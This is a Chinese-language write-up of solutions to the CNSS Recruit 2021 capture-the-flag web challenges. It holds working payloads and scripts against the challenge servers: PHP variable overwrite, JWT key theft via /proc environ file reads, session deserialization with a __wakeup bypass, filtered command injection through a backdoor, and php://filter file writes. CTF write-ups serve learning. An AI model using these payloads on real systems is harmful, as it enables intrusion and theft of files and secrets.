CNSS Recruit 2021 WriteUp

CTF
编辑文章

[Baby]D3buger

F12被禁用了,所以直接查看源代码,在 /js/fuck.js 中找到flag。

CNSS{Wh4t_A_Sham3le55_thI3f}

[Baby]Signin

POST请求后可以看到以下代码

<?php
error_reporting(0);
require_once("flag.php");
if($_SERVER['REQUEST_METHOD'] !=='POST'){
    die("Please Change Your Method!");
    exit();
}else{
    if(!isset($_POST["CNSS"])){
        show_source(__FILE__);
    }
    else if($_POST["CNSS"] === "join"){
        if((isset($_GET["web"])) && (($_GET["web"]) === "like")){
            setcookie("flag","0");
            if($_COOKIE['flag'] === '1'){
                echo $flag;
            }else{show_source(__FILE__);}
        }else{
            show_source(__FILE__);
        }
    }
}

那么GET {"web": "like"} ,POST {"CNSS": "join"} 即可。

CNSS{Y0u_kn0w_GET_and_POST}

[Baby]GitHacker

标题已经告诉我们该用的工具了,但我还是卡了半天

在Github上找了个挺好用的工具 ,得到了一个名字为 index.html.d54c93 的缓存文件,在里面找到了flag。

CNSS{Ohhhh_mY_G0d_ur3_real_G1th4ck3r}

[Easy]更坑的数学题

要求在1s内计算出一个算式。我直接用py写了个脚本,注意要带上session。

import requests
from bs4 import BeautifulSoup 

r = requests.get(url = 'http://81.68.109.40:30005/', cookies= {'PHPSESSID':'e983ea1f0488343781185ba55e566f03'})

soup = BeautifulSoup(r.text, 'html.parser')
string = soup.find_all('p')[1].get_text()
ans = eval(string[:-1])
args = {'res': str(ans)}
r2 = requests.post(url = "http://81.68.109.40:30005/", data = args, cookies= {'PHPSESSID':'e983ea1f0488343781185ba55e566f03'})

print(r2.text,r2.headers)
CNSS{w#y_5o_f4st?}

[Easy]Ezp#p

<?php
    error_reporting(0);
    require_once("flag.php");
    show_source(__FILE__);

    $pass = '0e0';
    $md55 = $_COOKIE['token'];
    $md55 = md5($md55);

    if(md5($md55) == $pass){
        if(isset($_GET['query'])){
            $before = $_GET['query'];
            $med = 'filter';
            $after = preg_replace(
                "/$med/", '', $before
            );
            if($after === $med){
                echo $flag1;
            }
        }
        $verify = $_GET['verify'];
    }

    extract($_POST);
    
    if(md5($verify) === $pass){
        echo $$verify;
    }
?> 

这题挺坑,前面其实都是没用的,因为没有办法在 preg_replace 之后还得到相同的字符串。 好像构造 filfilterter 这种也行,但没试过~

extract($_POST); 开始读。extract() 会将里面的映射关系变为赋值关系,所以可以通过POST直接给 $verify$pass 赋值。

注意到 $$verify 和前面的 $flag1 ,那么我们让 $verify = 'flag1' ,同时将 $pass 赋值为 md5('flag1') 就可以得到 $flag1 的值了。

import requests

args = {'pass':'ab0bfd73daaec7912dcdca1ba0ba3d05','verify':'flag1'}
r = requests.post(url = 'http://81.68.109.40:30003', data = args)

print(r.text)

发现flag只有前一半,猜想后一半叫 $flag2 ,同样操作得到了后半段flag。

import requests

args = {'pass':'9a48ddad2656385fce58af47a0ef56cf','verify':'flag2'}
r = requests.post(url = 'http://81.68.109.40:30003', data = args)

print(r.text)
CNSS{B4by_9h9_Tr1ck}

[Easy]China Flag

这道是我做出来的题中卡的最久的···

查源码发现 china.php 。发现直接请求和从 index.php 请求得到的结果不一样,比较容易想到要改header的参数,先改Referer: 'Referer': 'http://81.68.109.40:30002/index.php'

剩下就是猜字谜了,证明“土生土长”就是改 XFF127.0.0.1 以及把 Accept-Language 设置为 zh-CN

import requests

args = {}
headers = {'Referer':'http://81.68.109.40:30002/index.php', 'X-Forwarded-For':'127.0.0.1', 'Accept-Language': 'zh-CN'}
r = requests.get(url = 'http://81.68.109.40:30002/china.php', data = args, headers = headers)

print(r.text,r.headers)
CNSS{ohHHHHH~~~Ch1ne5e_Kungfu!}

[Mid]To_be_Admin

在左下角发现 Access /read to read file what you want. ,直接访问 /read ,告诉我们 GET file 。试了下 file=/etc/passwd ,发现输出了,所以应该能通过这个读取服务器文件。

点中心按钮进入 /admin ,说Guest不能得到flag,容易想到更改cookie。发现储存了 token ,进一步发现是JWT,在JWT.IO解密如下:

{
  "username": "guest"
}

容易想到把 guest 改为 admin ,但反加密还需要一个密钥,应该就是从服务器里面找了。

找了半天还是找不到,只能扫进程,写了个脚本来跑,吃了个午饭都还没运行完。

import requests

file = open('environ.txt','w')

for i in range(0,100000):
    print(i)
    try:
        r = requests.get(url = "http://121.41.7.149:65003/read?file=/proc/"+str(i)+"/environ")
    except requests.exceptions.RequestException as err:
        continue
    if r.status_code==200:
        file.write(str(i))
        file.write('\n')
        file.write(r.text)

file.close()

然后发现 pid=14559 的进程的输出中能找到 KEY=nWMfdan2349r*fn9dMz ,试了下 nWMfdan2349r*fn9dMz 还真就成了。把反向加密得到的token替换后访问 /admin 就拿到flag了。

CNSS{00000k_Y0u_are_Adm1n_n0w}

[Mid]To_be_Admin_Again

PHP session反序列化漏洞,还要利用 CVE-2016-7124 漏洞,使表示的对象个数多于实际对象个数跳过 __wakeup

然后用 file_get_contents() 就能在服务器中随意寻找flag了。

最终Payload为:

cnss=|O:4:%22CNSS%22:3:{s:14:%22%00CNSS%00username%22;s:5:%22admin%22;s:10:%22%00CNSS%00code%22;s:33:%22echo(file_get_contents(%27/flag%27));%22;}
CNSS{Admin_1s_w4tch1ng_y0u}

[Mid]BlackPage

用PHP流filter试了下,发现也是个服务器查找文件题,过滤了包括空格在内的一众关键字。

空格用 $IFS$9 代替;cattac 代替;路径中关键字用 ? 代替。于是开始搜flag文件的位置,去各种常用路径找了半天,结果发现就在最简单的位置。诗曰:“众里寻他千百度,蓦然回首,Flag却在根目录。”

请求下面这个链接即可。

http://121.41.7.149:65002/mybackdoor.php?cmd=tac$IFS$9../../../Fl4?_is_here
CNSS{0ops!Y0u_G0t_My_Bl4ckp4ge!}

[Mid]太极掌门人

 <?php
    error_reporting(0);
    show_source(__FILE__);

    function deleteDir($path) {

        if (is_dir($path)) {
            $dirs = scandir($path);
            foreach ($dirs as $dir) {
                if ($dir != '.' && $dir != '..') {
                    $sonDir = $path.'/'.$dir;
                    if (is_dir($sonDir)) {

                        deleteDir($sonDir);

                        @rmdir($sonDir);

                    } elseif ($sonDir !== './index.php'
                            && $sonDir !== './flag.php') {

                        @unlink($sonDir);

                    }
                }
            }
            @rmdir($path);
        }
    }

    $devil = '<?php exit;?>';

    $goods = $_POST['goods'];

    file_put_contents($_POST['train'], $devil . $goods);

    sleep(1);

    deleteDir('.');

?> 

发现有个 file_put_contents() ,可以写入文件,但是发现服务器会在1s后删除所有文件,而且还会在文件末尾写入 <?php exit;?>

对于第一个问题,只能用脚本解决;而第二个问题,可以用filter流的 php://filter/write=convert.base64-decode 来用base64绕过,参考这篇文章

利用这个方法在 a.php 里写入 <?echo(file_get_contents('flag.php'));?> ,然后马上访问 a.php 即可。为了图方便我直接写了两个py,在两个终端先后运行(考手速

import requests

args = {"train": "php://filter/write=convert.base64-decode/resource=a.php", "goods": "aPD9lY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCdmbGFnLnBocCcpKTs/Pg=="}
r = requests.post(url = 'http://81.68.109.40:30007/', data = args)
r = requests.get(url = 'http://81.68.109.40:30007/a.php')
print(r.text,r.headers)

[Mid]bestLanguage

 <?php

error_reporting(0);

class superGate{
    public $gay = true;

    function __destruct(){
        echo file_get_contents("/flag");
        die();
    }
}

$p = $_GET['p'];
$honey = unserialize($p);
if(preg_match("/superGate/i", serialize($honey))){
    echo "no";
    throw Exception();
}

show_source(__FILE__); 

又是个序列化和反序列化的题。发现 superGate 这个class要在结束时才会输出flag,但 $p 在反序列化再序列化后不能有 superGate 关键字。也就是说对于 $honey ,我们需要调用这个class,但是又不能在序列化后有class的名称。

谷歌了半天都没找到办法,结果试了下 NULL 就成了。Payload如下:

p=O:9:%22superGate%22:0:{NULL}
cnss{Array_Tr1ck_is_use4}

新评论

称呼不能为空
邮箱格式不合法
网站格式不合法
内容不能为空